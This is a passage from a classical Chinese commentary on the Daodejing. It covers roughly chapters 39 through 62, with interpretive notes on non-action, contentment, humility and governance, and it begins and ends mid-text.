萬物之靈。谷,即海也。海得之而容納百川,故長盈。萬物得之而各遂其生。侯王得之而為天下正。正,猶長,所謂君長也。如此者,雖其跡不同,而推其本則一,故曰致之一也。其下又返釋之曰,天不得此,將恐分裂而不能圓覆於上矣。地不得此,將恐發動而不能寧載於下矣。人不得此,將恐生機休歇,而不能子子孫孫亹亹而無窮矣。萬物若不得此,將恐絕滅而無有矣。侯王若不得此,將恐顛蹶而不能安其貴高之位矣。此老子主意,只重在侯王無以正而貴高將恐蹶這一句。必欲人君當體道無為而治耳。凡人聽其所用而從於人者,謂之下賤。此道之譬也。夫道本無名,故天地萬物皆得而用之。如人之下賤也。且侯王不得此道,而處貴高之位,將恐蹶。豈不以是而為基本耶。故云貴以賤為本,高以下為基。且侯王自謂曰,孤,寡,不穀,此三名者,皆賤者之稱也。而侯王以之,其意豈不是以賤為本耶,非乎。所以稱此者,正欲人君忘其貴高之名,而體道凝神,知其無用為用耳。且而侯王所以貴高者,以百官執事總之而為君。若指其所用,而各有所事。至若人君,則無所用其事矣。所謂臣道有為,而君道無為也。若夫輪輻衡軛,會之而為車。故數其車,則件件可數。其車則無可數矣。以無可數,故得車之用。是故侯王以無為之道,而後方大有為也。然道之在物,本無貴賤高下之分。故侯王當體道忘懷,不可執貴高之名,而取顛蹶之患。故誡之曰,不欲琭琭如玉,落落如石,謂不可視己琭琭如王之貴,視物落落如石之賤也。苟忘貴賤之分,則人人皆為我用矣。豈非無用之為大用耶。\n反者、道之動。弱者、道之用。天下之物、生於有。有、生於無。\n【註】此承上章以明道為天地萬物之本也。反者,道之體也。謂道體虛無至靜,為群動之主。世人祇知動之為動,不知動處即靜。易云天下之動,貞夫一者也。以其群動之動,皆自虛無至靜而發,不動而動,故云反者道之動也。然道體至虛,柔弱無用,而為天下有用之本。世人祇知有用之用,不知無用之用為大用也。故云弱者道之用。是故世人祇知天下之物生於有,而不知有生於無也。苟知有生於無,則自然不事於物,而能體道凝神矣。豈易得哉。\n上士聞道、勤而行之。中士聞道、若存若亡。下士聞道、大笑之。不笑、不足以為道。故建言有之。明道若昧。進道若退。夷道若類。上德若谷。大白若辱。廣德若不足。建德若偷。質貞若渝。大方無隅。大器晚成。大音希聲。大象無形。道隱無名。夫惟道、善貸且成。\n【註】此言道出常情,而非下愚小智之所能知,必欲上根利智可能入也。謂上根之人,志與道合,一有所聞,便身體而力行之。如顏子聞者未嘗不知,知之未嘗不行。故曰上士聞道,勤而行之。若夫中人之資,則且信且疑,或日月至焉。故曰若存若亡。至若下根之士,即有所聞,了不相蒙,而且以為怪。故大笑之矣。以道出常情,非愚所測。此輩不笑,不足以為道。以其道與常情,每相反而已矣。何以知之。故古之建言者有云,明道若昧。此下十二句,皆古之立言者之辭,老子引之以明相反之意。謂小人用智,恃知以為能。聖人光而不耀,以有智而不用。故明道若昧。小人矜誇競躁。聖人以謙自守,以卑自牧。故進道若退。世人崖嶷自高。聖人心與道合,同塵混俗,和而不同。故夷道若類。世人局量扁淺,一毫不容。聖人心包天地,德無不容,如海納百川。故上德若谷。小人內藏瑕疵,而外矯飾以為潔。聖人純素貞白,一塵不染,而能納汙含垢,示同庸人。故大白若辱。小人一德不忘,必恃自多而責報於人。聖人德被群生,而不以為功。故廣德若不足。小人一善之長,必衒弄自售,欲求知於人。聖人潛行密用,凡有所施於人者,惟恐人之知己也。如泰伯三讓,民無德而稱。故建德若偷。小人隨時上下,見利而趨,望勢而變。聖人之心,貞介如玉,而不可奪。而能與世浮沉,變化無窮,無可不可。故質貞如渝。渝,變也。世人圭角自立,一定而不化。聖人心如太虛,無適不可。故大方無隅。隅,猶定向也。世人小智自用,以圖速效。聖人深畜厚養,藏器於身,待時而動。迫不得已而後應,乘運而出,必為天下之利具。故大器晚成。所以然者,譬夫大音之希聲,大象之無形,殊非常情之所易見易聞。宜乎下士聞而大笑之也。以其世之所尚者,名也。然道隱於無名,又豈常情所易知耶。所以聖人之廣大難測者,以其有大道也。夫惟道也,萬物皆往資焉而不匱,曲成萬物而不遺。故曰善貸且成。聖人如此,所以世人皆以大似不肖。而輕笑之。然不笑,不足以為道也。\n道生一。一生二。二生三。三生萬物。萬物負陰而抱陽。沖氣以為和。人之所惡、唯孤寡不穀。而王公以為稱。故物或損之而益。或盜之而損。人之所教、我亦教之。強梁者不得其死。吾將以為教父。\n【註】此承前言道體沖虛,而為天地萬物之本,誡人當以道為懷,以謙自處也。謂道本無名,強名之一。故曰道生一。然天地人物,皆從此生。故曰一生二,二生三,三生萬物。是則萬物莫不負陰而抱陽也。所以得遂其生,不致夭折者,以物各含一沖虛之體也。和氣積中,英華昭著,秀實生成,皆道力也。故云沖氣以為和。是則物物皆以沖虛為本也。且沖虛柔弱,與物不類,似乎無用,人皆惡之而不取。殊不知無用之用為大用也。即如世人之所惡者,唯孤寡不穀,以為不美。而王公返以此為稱者,豈不以柔弱為天下之利器耶。且孤寡不穀,皆自損之辭也。然而侯王不自損,則天下不歸。故堯舜有天下而不與,至今稱之,澤流無窮,此自損而人益之。故曰或損之而益。若夫桀紂以天下奉一己,暴戾恣睢,但知有己,而不知有人。故雖有天下,而天下叛之,此自益者而人損之。故曰或益之而損。以人人皆具此道,但日用不知,須待教而後能。且人之所教者,我亦未嘗不教之也。惟人不善教人,祇知增益知見,使之矯矜恃氣,好為強梁。殊不知強梁者,不得其死。我唯教人以日損其欲,謙虛自守,以全沖和之德。是故吾將以為教父。而風天下以謙虛之德也。教父,猶木鐸意。\n天下至柔、馳騁天下之至堅。無有入無間。吾是以知無為之有益。不言之教、無為之益、天下希及之。\n【註】此承上言無為之益,以明不言之教也。然天下之至堅,非至柔不足以馳騁之。如水之穿山透地,浸潤金石是已。若以有入有,即相觸而有間。若以空入有,則細無不入。如虛空偏入一切有形,即纖塵芒芴,無所不入,以其虛也。若知虛無之有用,足知無為之有益矣。前云人不善教人者,以其有言也。有言則有跡,有跡則恃智,恃智則自多。自多者則矜能而好為。凡好為者必易敗。此蓋有言之教,有為之無益也,如此。則知不言之教,無為之益,天下希及之矣。\n名與身、孰親。身與貨、孰多。得與亡、孰病。甚愛必大費。多藏必厚亡。知足不辱。知止不殆。可以長久。\n【註】此言名利損生,誡人當知止足也。謂世人祇知名之可貪,故忘身以殉名。殊不知名乃身外之虛聲耳。與身較之,身親而名疏。故曰孰親。貨,利也。謂世人祇知利之可貪,故忘身以殉利。殊不知利乃身之長物耳。與身較之,身在則有餘。故曰孰多。世人不察,每役役於名利之間,貪得而無厭,戕生而傷性。與夫貪得而身亡,不若身存而遠害。故曰得與亡孰病。故凡愛之甚者,費必大。藏之多者,亡必厚。如以隋侯之珠,彈千仞之雀,雀未得而珠已失。此愛之甚,而不知所費者大矣。如斂天下之財,以縱鹿臺之欲,天下叛而臺已空。此藏之多,而不知所亡者厚矣。不唯愛者費而藏者亡。抑且身死名滅,國危而不安。斯皆不知止足之過也。故知足則不辱,知止則不殆,即斯可以長久矣。噫,老氏此言,可謂破千古之重昏,啟膏肓之妙藥,昭然如揭日月於中天也。而人不察乎此,惜哉。\n大成若缺、其用不敝。大盈若沖、其用不窮。大直若屈。大巧若拙。大辯若訥。躁勝寒。靜勝熱。清淨為天下正。\n【註】此言聖人法天制用,與道為一,故能勝物而物不能勝。以申明前章不言之教,無為之益也。大成若缺,其用不敝者。若天地生物曲成萬物而不遺,可謂成之大矣。然必春生而夏方長之,秋殺而冬方成之。以此觀之,似若有所缺。苟不如此,若一徑生長而無秋冬之肅殺。不但物不能成,而造物者亦將用之而敝矣。由其若缺,故所成者大,而其用不敝也。大盈若沖,其用不窮者。若陽和之氣,充塞天地,無處不至,無物不足,可謂盈矣。其體沖虛而不可見。若塊然可見,亦將用之有盡矣。由其若沖,故既已與人己愈有,既已為人己愈多,故其用不窮也。大直若屈者。若一氣浩然,至大至剛,可謂直矣。然潛伏隱微,委曲周匝,細入無間,故若屈。由若屈,故能伸其生意也。大巧若拙者。若天之生物,刻雕眾形而不見其巧。故云若拙。若恃其巧者,巧於此而拙於彼,則巧非大矣。大辯若訥者。上云若缺,則天地無全功,故人猶有所憾。然天何言哉,四時行焉,百物生焉。是則生物之功,不辯而自白矣。故曰若訥。是以天地不言而萬物成,聖人不言而教化行。以聖人法天制用,故以不言之教,無為之化,似乎不勝,而物卒莫能勝之也。且躁能勝寒而不能勝熱,靜能勝熱而不能勝寒。斯皆有所勝,則有所不勝。是故聖人貴乎清淨為天下正。此其不言之教,無為之益,天下希及之矣。\n天下有道、卻走馬以糞。天下無道、戎馬生於郊。罪莫大於可欲。禍莫大於不知足。咎莫大於欲得。故知足之足、常足。\n【註】此承上清淨無為之益,甚言多欲有為之害,以誡人君當以知足自守也。謂上古之世,有道之君,清淨無欲,無為而化。故民安其生,樂其業,棄卻走馬而糞田疇。所以家給人足,而無不足者。及世衰道微,聖人不作,諸侯暴亂。各務富國強兵,嗜欲無厭,爭利不已,互相殺伐。故戎馬生於郊。以致民不聊生,奸欺並作。此無他,是皆貪欲務得,不知止足之過也。故天下罪之大者,莫大於可欲。以其戕生傷性,敗亂彝倫。以至君臣父子,皆失其分者,皆見可欲之罪也。以致敗國亡家,覆宗滅族之禍者,皆不知止足所致也。由不知足,故凡見他人之所有,而必欲得之。然欲得之心,為眾罪大禍之本。故咎之大者,莫大於欲得。欲得者,心不足也。古人云,若厭於心,何日而足。以貪得不止,終無足時。惟知足之足,無不足矣,故常足。\n不出戶、知天下。不窺牖、見天道。其出彌遠、其知彌少。是以聖人不行而知。不見而名。不為而成。\n【註】此承上言聖人所以無為而成者,以其自足於己也。謂聖人性真自足,則智周萬物,無幽不鑒。故天下雖,可不出戶而知。天道雖微,可不窺牖而見。以其私欲淨盡,而無一毫障蔽,故也。若夫人者,沉瞑利欲,向外馳求,以利令智昏,故去性日遠,情塵日厚,塵厚而心益暗。故其出彌遠,其知彌少。是以聖人淡然無欲,不事於物。故寂然不動,感而遂通天下之故。故曰不行而知。如此,則尸居而龍見,淵默而雷聲。故曰不見而名。道備於己,德被群生,可不言而化。故曰不為而成。是皆自足於性也。\n為學日益。為道日損。損之又損、以至於無為。無為而無不為。故取天下常以無事。乃其有事、不足以取天下。\n【註】此承上言無為之德,由日損之功而至也。為學者,增長知見,故日益。為道者,克去情欲,窮形泯智,故日損。初以智去情,可謂損矣。情忘則智亦泯,故又損。如此則心境兩忘,私欲淨盡,可至於無為。所謂我無為而民自化。民果化,則無不可為之事矣。此由無為而後可以大有為,故無不為。是故取天下者,貴乎常以無事也。無事,則無欲。我無欲,而民自正。民自正,而天下之心得。天下之心得,則治國如視諸掌,此所以無事足以取天下也。若夫有事則有欲,有欲則民擾,民擾則人心失。人心既失,則眾叛親離,此所以有事不足以取天下也。無為之益,天下希及之者,此耳。舊注取字訓為,攝化之意。應如春秋取國之取,言得之易也。\n聖人無常心、以百姓心為心。善者、吾善之。不善者、吾亦善之。德善矣。信者、吾信之。不信者、吾亦信之。德信矣。聖人之在天下。惵惵為天下渾其心。百姓皆注其耳目。聖人皆孩之。\n【註】此言聖人不言之教,無心成化,故無不可教之人也。常者,一定不移之意。謂聖人之心,至虛無我。以至誠待物,曾無一定之心。但無百姓之心為心耳。以聖人復乎性善,而見人性皆善。故善者固已善之,即不善者亦以善遇之。彼雖不善,因我以善遇之。彼將因我之德所感,亦化之而為善矣。故曰德善。以聖人至誠待物,而見人性皆誠。故信者固已信之,即不信者亦以信待之。彼雖不信,因我以信遇之。彼將因我之德所感,亦化之而為信矣。故曰德信。以天下人心不古,日趨於澆薄。聖人處其厚而不處其薄,汲汲為天下渾厚其心。惵惵,猶汲汲也。百姓皆注其耳目者,謂注目而視,傾耳而聽,司其是非之昭昭。聖人示之以不識不知,無是無非,渾然不見有善惡之跡,一皆以淳厚之德而遇之,若嬰孩而已。故曰皆孩之。若以嬰孩待天下之人,則無一人可責其過者。聖人之心如此,所以不言而信,無為而化,則天下無不可教之人矣。\n出生。入死。生之徒十有三。死之徒十有三。人之生動之死地者、亦十有三。夫何故、以其生生之厚。蓋聞善攝生者、陸行不遇兕虎、入軍不避甲兵。兕無所投其角、虎無所措其爪、兵無所容其刃。夫何故、以其無死地。\n【註】此言聖人所以超乎生死之外者,以其澹然無慾,忘形之至,善得無生之理也。出生入死者,謂死出於生也。言世人不達生本無生之理,故但養形以貪生,盡為貪生以取死。是所以入於死者,皆出於生也,大約十分而居其九。而不屬生死者,唯有一焉,而人莫之知也。生之徒者,養形壽考者也。死之徒者,汨欲忘形,火馳而不返者也。動之死地者,嗜欲戕生,無所避忌者也。舉世之人,盡此三種,而皆不免入於死者,以其出於貪生也。何所以故,以其生生之厚耳。是皆但知養生,而不知養生之主。苟不知養生之主,皆為不善養生者也。攝,養也。蓋聞善養生者,不養其生,而養其生之主。然有其生者,形也。主其生者,性也。性為生主。性得所養,而復其真,則形骸自忘。形忘則我自空,我空則無物與敵。故陸行不遇兕虎,入軍不避甲兵。色欲伐性,甚於兕虎甲兵也。以無我故,蹤遇之而亦無可傷。故兕無所投其角,虎無所措其爪,兵亦無所容其刃矣。夫何故,以其無死地焉。是知我者,生之寄。生者,死之地也。無我無生,又何死之。孔子曰,未知生,焉知死。是知生本無生,則知死亦不死,此所以貴朝聞道而夕死可矣。非超乎生死之外者,不易致此。\n道生之。德畜之。物形之。勢成之。是以萬物莫不尊道而貴德。道之尊。德之貴。夫莫之命而常自然。故道生之。畜之。長之。育之。成之。熟之。養之。覆之。生而不有。為而不恃。長而不宰。是謂玄德。\n【註】此言道德為萬物之本,欲人體道虛懷,而造乎至德也。然道為天地根,故萬物非道不生。且道但能生之而已,然非德不畜。畜,長養也。如陽和之氣,含有而培養之,皆其德也。故道德無形,乃因物以形。形,猶見也。苟不知道德之大,但即物而觀,可知已。故曰物形之。且道之生物,唯一氣流行。苟無四時寒暑之序,生殺之勢,則雖生之畜之,而亦不能成熟之也。所以成萬物者,又因其勢也。勢者,凌逼之意。若夫春氣逼物,故物不得不生。秋氣逼物,故物不得不成。此其皆以勢成之也。觀其成物之功,故知其道無位而尊,無名而貴。所以如此尊貴者,乃道體之自然,又非有以命之者。故曰莫之命而常自然。若侯王之尊,則受命於天。卿相之貴,則受命於君。故凡稟命而得之者,亦可奪而失之也。豈常然耶。以道德乃天然尊貴,故莫之命而常自然耳。所以常然而不失者,以其體至虛,故其用至大。所以萬物賴之以生長之。既生長而又含育之。既育而又成熟之。既成熟而又愛養以覆護之。此所謂成始成終,而道德之量,何如耶。且如此生之,生生不已,而不自有其生。如此作為,以成熟之,而不自恃其為。雖為萬物之主,而不自以為宰。所以為玄德也。是故君天下者,貴乎體道虛懷,而造乎德之至也。\n天下有始、以為天下母。既知其母、復知其子。既知其子、復守其母。沒身不殆。塞其兌、閉其門、終身不勤。開其兌、濟其事、終身不救。見小曰明。守柔曰強。用其光、復歸其明。無遺身殃。是謂襲常。\n【註】此言道體之方,當以背物合道為要妙也。由萬物皆資始乎道。故曰天下有始,以為天下母。所謂道生之也。是知道為體,而物為用。故道為母,物為子。人若但知道體虛無,而不知物從此生,是知母而不知子,則淪於斷滅。若但知物而不知道,是殉物而忘道,則失其性真。所以既知其母,亦復要知其子,所謂有體有用也。既知物從道生,則不事於物。故曰既知其子,復守其母。所謂用不離體也。體用兩全,動靜不二,故沒身不殆。殆,危也,又盡也。下示守母之方。兌為口,門乃眼耳,為視聽之根。謂道本無言,言生理喪。妄機鼓動,說說而不休,去道轉遠。唯是必緘默以自守,所謂多言數窮不如守中。故日塞其兌。然道之於物,耳得之而為聲,目得之而為色。若馳聲色而忘返,則逐物而背性。是必收視返聽,內照獨朗。故曰閉其門。如此,則終身用之而不勤矣。勤,勞也。若徒執言說以為得。以資耳目之欲,火馳而不返。則是開兌濟事,喪心於物,則終身不可救矣。是皆不能戒謹於隱微之間,而忽於欲機之兆,非為明也。孔子曰,知機其神乎。故曰見小曰明。以道自勝,故曰守柔曰強。是故學人當用其光,復其明,則無遺身殃也。然光,道之用也。明,道之體也。用不離體,故用愈光,而體愈明。此所以能無遺其殃也。襲,承也。且真常之道,吾固有之。但凡人不能承襲而自絕耳。苟能如此做工夫,則綿綿而不絕矣。故曰是謂襲常。\n使我介然有知。行於大道唯施是畏。大道甚夷、而民好徑。朝甚除。田甚蕪。倉甚虛。服文采。帶利劍。厭飲食。財貨有餘。是為盜夸(韓非本作竽)。非道哉。\n【註】此言世衰道微,人心不古,而極歎道之難行也。介然,猶些小。乃微少之意,蓋謙辭也。老子意謂使我少有所知識,而欲行此大道於天下。奈何天下人心奸險可畏,而將施之於誰耶。故曰唯施是畏。且有施而無受者,非徒無益而又害之。所謂生乎今之世,反古之道,災及其身者,故可畏。何也。以大道甚坦夷直捷,而民心邪僻,不由於大道,皆好徑矣。民好徑,則教化衰。教化衰,則奸愈甚。奸愈甚,則法益嚴。故曰朝甚除。除,謂革其弊也。且法令滋彰,盜賊多有。是以朝廷之法日甚嚴,而民因法作奸,更棄本而不顧,好為游食,故田日甚蕪。田甚蕪,則倉日甚虛。倉甚虛,而國危矣。風俗之壞,民心之險,一至於此。君人者,固當躬行節儉,清淨無欲,以正人心可也。且在上之人,猶然不知止足。而虛尚浮華,極口體之欲。而服文采,帶利劍,厭飲食,而積貨財。且上行下效,捷如影響。故上有好之,而下必有甚焉者。是則民之為盜,皆由上以唱之也。故曰是為盜竽。竽,樂之首,而為先唱者也。如此,豈道也哉。上下人心之如此,所以道之難行也。\n善建者不拔。善抱者不脫。子孫祭祀不輟。修之於身、其德乃真。修之於家、其德乃餘。修之於鄉、其德乃長。修之於國、其德乃豐。修之於天下、其德乃普。故以身觀身。以家觀家。以鄉觀鄉。以國觀國。以天下觀天下。吾何以知天下然哉、以此。\n【註】此言聖人所以功德無窮,澤及子孫者,皆以真修為本也。舉世功名之士,靡不欲建不拔之功,垂不朽之業。至皆不能悠久者,以其皆以智力而建之,則有智力過之者,亦可以拔之矣。抱,守也。脫,猶奪也,謂失脫也。以機術而守之,則有機術之尤者,亦可以奪之矣。是皆不善建,不善守者也。至若聖人復性之真,建道德於天下。天下人心感服,確乎而不可拔。故功流萬世,澤及無窮,傑然而不可奪。此皆善建善抱,所以福及子孫,故祭祀綿遠而不絕也。是故學道之人,修之於身,故其德乃真。莊子曰,道之真以治身,其緒餘以為國家,其土苴以為天下。故曰修之家,其德乃餘。修之鄉,其德乃長。修之國,其德乃豐。修之天下,其德乃普。故以性觀身,則性真而身假。若以我身而觀天下之身,則性同而形忘。以此觀家則家和。以此觀鄉則鄉睦。以此觀國則國治。以此觀天下則天下平。所謂以性融物,則天下化。會物為己,則天下歸。故其德乃普。是以聖人一真之外無餘事,故唯以此。\n含德之厚、比於赤子。毒蟲不螫(以尾毒傷物曰螫)。猛獸不據(以爪按物曰據)。攫鳥不搏(以翅擊物曰搏)。骨弱筋柔而握固、未知牝牡之合而脧作、精之至也。終日號而嗌不嗄、和之至也。知和曰常。知常曰明。益生曰祥。心使氣曰強。物壯則老、謂之不道。不道早已。\n【註】此承上言聖人善建善抱,而不為外物之所搖奪者,以其所養之厚也。然人之所以有生者,賴其神與精氣耳。此三者苟得其養如赤子,則自不被外物所傷矣。故曰含德之厚,比於赤子。且毒蟲猛獸攫鳥,皆能傷人之物。至於赤子,則毒蟲雖毒而不螫,猛獸雖惡而亦不據,攫鳥雖梟而亦不搏。何也,以其赤子不知不識,神全而機忘也。所謂忘於物者,物亦忘之。入獸不亂群,入鳥不亂行。彼雖惡而不傷,以其無可傷之地。此言聖人神之王也。且如赤子之骨最弱,筋極柔。手無執,而屈握極固,不可擘。且又不知陰陽之合,而峻亦作者,乃精滿之至。聖人筋骨亦柔弱,而所握亦堅固者,以其精純之至也。故草木之有精液者,則柔弱而連固,精竭者,則枯槁而萎散。是知聖人如嬰兒者,以精得其養故也。然赤子終日號啼而咽嗌不嗄啞者,以其心本不動,而無哀傷怨慕之情,乃氣和之至。聖人之心和,亦然。斯三者,皆得其所養之厚,故所以比赤子之德也。且此三者,以神為主,以精為衛,以氣為守。故老子教人養之之方,當先養其氣。故曰知和日常。何也,蓋精隨氣轉,氣逐心生。故心妄動則氣散,氣散則精溢。所謂心著行淫,男女二根自然流液。故善養者,當先持其心,勿使妄動。心不妄動則平定,心平則氣和,氣和則精自固,而神自安,真常之性自復矣。故曰知和曰常。如所云不認緣氣之心為心,則真常之性自見。故曰知常曰明。意謂知真常之性者,可稱明智矣。苟不知真常之性,徒知形之可養,而以嗜欲口腹以益其生。殊不知生反為其戕,性反為其傷。故曰益生曰祥。祥,妖也。言益生反為生之害也。心不平,則妄動而使氣,氣散則精竭,精竭則形枯。故曰心使氣曰強。強,木之枯槁也。過強曰壯。故曰物壯則老。草木之物過壯,則將見其枯槁而老。人之精神元氣不知所養,而斲喪太過,可謂不道之甚矣。不道之甚,乃速其死也。故曰不道早已。已者,絕也。此老氏修養功夫,源頭蓋出於此。而後之學者,不知其本。妄搆多方傍門異術,失老氏之指多矣。\n知者不言。言者不知。塞其兌。閉其門。挫其銳。解其紛。和其光。同其塵。是謂玄同。故不可得而親。不可得而疏。不可得而利。不可得而害。不可得而貴。不可得而賤。故為天下貴。\n【註】此言聖人所以為天下貴者,以其善得所養,妙契忘言,而能與道玄同也。謂聖人自知之明,故善能含養於心,而不形於言。以自知之真,言有所不及也。若夫常人嘵嘵資於口談者,皆非真知者也。故曰知者不言,言者不知。下言養之之方。兌為口,為說。謂聖人緘默自守,不事口舌。故曰塞其兌。不事耳目之玩。故曰閉其門。遇物渾圓,不露鋒芒。故曰挫其銳。心體湛寂,釋然無慮。故曰解其紛。紛,謂紛紜雜想也。含光斂耀,順物忘懷。故曰和其光,同其塵。此非妙契玄微者,不能也。故曰是謂玄同。聖人造道之妙,大而化之至於此。其心超然塵表,故不可得而親。精誠動物,使人見而不能捨,故不可得而疏。淡然無欲,故不可得而利。妙出死生,故不可得而害。視王侯之如隙塵,故不可得而貴。披褐懷玉,故不可得而賤。以其聖人跡寄寰中,心超物表,不在親疏利害貴賤之間,此其所以為天下貴也。\n以正治國。以奇用兵。以無事取天下。吾何以知其然哉、以此。天下多忌諱、而民彌貧。民多利器、國家滋昏。人多技巧、奇物滋起。法令滋彰、盜賊多有。故聖人云、我無為而民自化。我好靜而民自正。我無事而民自富。我無欲而民自樸。\n【註】此言治天下國家者,當以清淨無欲為正,而不可用奇巧以誘民也。且奇巧詐術,是為詭道。但可用之於兵,不可以治國。故曰以正治國,以奇用兵。然兵者不祥之器,不得已而用之,乃好事者為之耳,非取天下之具也。故以無事取天下。吾何以知無事可以取天下之然哉,以此。此,指下文有事而言。蓋忌諱,利器,技巧,法令,皆有事也。此何以不足取天下。且天下多忌諱,而民彌貧。忌,謂禁不敢作。諱,謂不敢言。只如文王之囿七十里,與民共之,芻蕘雉兔取之者無禁。即有不便於民者,言之不諱,所以民得安其生。故在上者無事,而民日富。今則殺其糜鹿者,如殺人之罪,取之者死,民有不便,言之者戮,故民不聊生,且又無所措手足。此多忌諱之事,而民彌貧也。賢者,國之利器也。今國無道,賢者在野。是利器在民不在朝。所以國家滋昏。由上多欲好奇,故人心雕琢,技巧日生。技巧生,而奇物滋起。奇物起,則貪愈甚。貪愈甚,而盜賊生。故法令滋彰,而盜賊多有也。以此天下擾擾而不安。是皆有為忘動,有事多欲之過也。故古之聖人有言曰,我無為而民自化。我好靜而民自正。我無事而民自富。我無欲而民自樸。宜矣。\n其政悶悶、其民醇醇。其政察察、其民缺缺。禍兮福所倚。福兮禍所伏。孰知其極、其無正耶。正復為奇。善復為妖。人之迷、其日固久。是以聖人方而不割。廉而不劌。直而不肆。光而不耀。\n【註】此詳言上章有為之害,而示之以無為之方也。悶悶,無知貌。所謂民可使由之,不可使知之之意。由百姓皆注其耳目,若示有知,即上云法令滋彰,盜賊多有矣。故聖人潛行密用,令其悶悶然若無所知。則民情不鑿,奸偽自然不生。故其政悶悶,其民醇醇。若其政令察察然分星擘兩,則民多不自安,缺缺然憂有餘矣。故云其政察察,其民缺缺。缺缺,多憂不足之意。蓋禍福之機,端在人心之所萌。若其機善,則禍轉為福。若其機不善,則福轉而為禍。此禍福相倚伏也。由人機心不息,則禍福旋轉如循環之無端,人孰能知其止極耶。故孔子曰,知機其神乎,謂是故也。然禍福循環之如此,豈無真人而以理正之耶。但世衰道微,人心不古,邪正不分,善惡顛倒。本示之以正,則彼反以為奇詭。本教之以善,而彼反以為妖怪。正所謂未信而勞諫,則以為厲謗。此人心之迷固已久矣,縱有聖人之教,亦不能正之矣。莊子曰,三人行,一人迷方,猶有解者。二人惑,則不能易。今天下皆迷,其誰能解之耶。是以聖人遊濁世以化民,貴在同塵和光,渾然無跡。故雖方而不傷其割。割,謂割截,乃鋒稜太露也。雖廉而不傷於劌。劌,謂刻削太甚也。雖直而不傷於肆。肆,謂任意無忌也。雖光而不傷於耀。耀,謂衒耀己見也。此聖人有所長,而能養其所長,故為天下貴。此所以無為而治,好靜而自安,無為而民自化矣。\n治人、事天、莫若嗇。夫惟嗇、是謂早復。早復、謂之重積德。重積德、則無不克。無不克、則莫知其極。莫知其極、可以有國。有國之母、可以長久。是謂深根固蒂、長生久視之道。\n【註】此言聖人離欲復性,以為外王內聖之道也。嗇,有而不用之意。老子所言人天,莊子解之甚明。如曰,不以人害天,不以物傷性。蓋人,指物欲。天,指性德也。言治人事天莫若嗇者。然嗇,即復性工夫也。謂聖人在位,貴為天子,富有四海。其子女玉帛,聲色貨利,充盈於前。而聖人以道自守,視之若無,澹然無欲,雖有而不用。所謂堯舜有天下而不與,此以嗇治人也。聖人并包四海,智周萬物。不以私智勞慮,而傷其性真。所謂毋搖爾精,毋勞爾形,毋使汝思慮營營。蓋有智而不用其智,此以嗇事天也。復性工夫,莫速於此。故曰是謂之早復。此復字,是復卦不遠復之意。言其速也。又如一日克己復禮,天下歸仁之意。莊子曰,賊莫大於德有心。然有心之德施於外,故輕而不厚。復性之功,天德日全,不期復而自復,所謂復見天地之心。故曰早復謂之重積德。能重積德,則無不克矣。此克字,乃克敵之克。即顏子克己之克。以性德日厚,則物欲消融。而所過者化,無物與敵。則其德高明廣大,民無得而稱焉。故曰無不克,則莫知其極。極,至極,猶涯量也。此內聖之德既全,雖無心於天下,乃可以託於天下。故曰莫知其極,可以有國。此內聖之道,真以治身,其緒餘以為天下國家。故曰可以有國。此道先天地不為老,後天地不為終。故曰可以長久。古人所言深根固蒂長生久視之道者,如此而已。結句蓋古語。老子引證,以結其意耳。\n治大國、若烹小鮮。以道蒞天下、其鬼不神。非其鬼不神、其神不傷人。非其神不傷人、聖人亦不傷人。夫兩不相傷、故其德交歸焉。\n【註】此言無為之益,福利於民,反顯有為之害也。凡治大國,以安靜無擾為主,行其所無事,則民自安居樂業,而蒙其福利矣。故曰若烹小鮮。烹小鮮,則不可撓。撓,則靡爛而不全矣。治民亦然。夫虐政害民,災害並至,民受其殃。不知為政之道,乃以鬼神為厲而傷人,反以祭祀以要其福。其實君人者不道所致也。若以道德君臨天下,則和氣致祥,雖有鬼而亦不神矣。不神,謂不能為禍福也。且鬼神非無,然洋洋乎如在其上,如在其左右,豈不昭格於上下耶。第雖靈爽赫然,但只為民之福,不為民害。故曰非其鬼不神,但其神不傷人耳。然非其神不傷人,實由聖人含哺百姓,如保赤子。與天地合其德,鬼神合其吉凶,而絕無傷民之意,故鬼神協和而致福也。故曰非其神不傷人,聖人亦不傷之。如湯之時,七年大旱。湯以身代犧牲,藉茅以禱,致雨三尺。故民皆以湯王克誠感格所致,斯蓋由夫兩不相傷,故其德交歸焉。此無為之德,福民如此。\n大國者下流。天下之交。天下之牝。牝常以靜勝牡。以靜為下。故大國以下小國、則取小國。小國以下大國、則取大國。故或下以取。或下而取。大國不過欲兼畜人。小國不過欲入事人。夫兩者各得其欲。故大者宜為下。\n【註】此言君天下者,當以靜勝為主,不可以力相尚也。夫流之在下者,如江海,眾水歸之。故大國之在天下,眾望歸之。故如流之在下,以為天下之交。納汙含垢,無所不容。又虛而能受,如天下之牝也。凡物之雌曰牝,雄曰牡,牡動而牝靜。動則不育,靜能有生,是牝以靜勝牡也。以此譬喻聖人之德。然聖人為天下牝者。以天下之人,衣食皆賴之以生,爵祿皆賴之以榮,萬幾並集於一人。故君道無為,而皆任其所欲,各遂其所生。所謂萬物皆往資焉而不匱,此似牝以靜勝牡也。是則靜為群動之歸趨,故以靜為下。大字小,小事大,皆有以下之也。取者,得之易也。大字小,如母育子。小事大,如子奉母。精神相孚,相得最易,故如掇之也。然大字小,必有所容。故曰或下以取。以,猶左右之也。小事大,必有所忍。故曰或下而取。而,因而取之也。皆無妄動之過,故交歸焉。且大國之欲,不過兼畜人,非容無以成其大。小國之欲,不過入事人,非忍無以濟其事。兩者既各得其所欲,而大者更宜下。何也。以大國素尊,難於下耳,故特勉之。此老子見當時諸侯,專於征伐,以力不以德,知動不知靜,徒見相服之難,而不知下之一字,為至簡之術。蓋傷時之論也。\n道者、萬物之奧。善人之寶。不善人之所保。美言可以市。尊行可以加人。人之不善、何棄之有。故立天子、置三公、雖有拱璧以先駟馬不如坐進此道。古之所以貴此道者何。不曰求以得、有罪以免耶。故為天下貴。\n【註】此言道之為貴,誡人當勉力求之也。道者,萬物之奧。奧者,室之西南隅。有室必有奧。但人雖居其室,而不知奧之深邃。以譬道在萬物,施之日用尋常之間,人日用而不知,故如奧也。然道既在萬物,足知人性皆同。雖有善惡之差,而性未嘗異,以其俗習之偏耳。故善人得之以為寶。惡人雖失,亦賴此道保之以有生。故曰所保。苟非其道以保之,則同無情瓦石矣。足見理本同也,所謂堯舜與人同耳。由此觀之,天下豈有可棄之人耶。且一言之美,則可以市。市,利也。一行之尊,則可以加於人之上。況大道之貴,豈止一言之美,一行之尊。且人之全具而不欠缺一毫者,斯則不善之人,又何棄之有耶。故立天子,置三公,雖有拱璧以先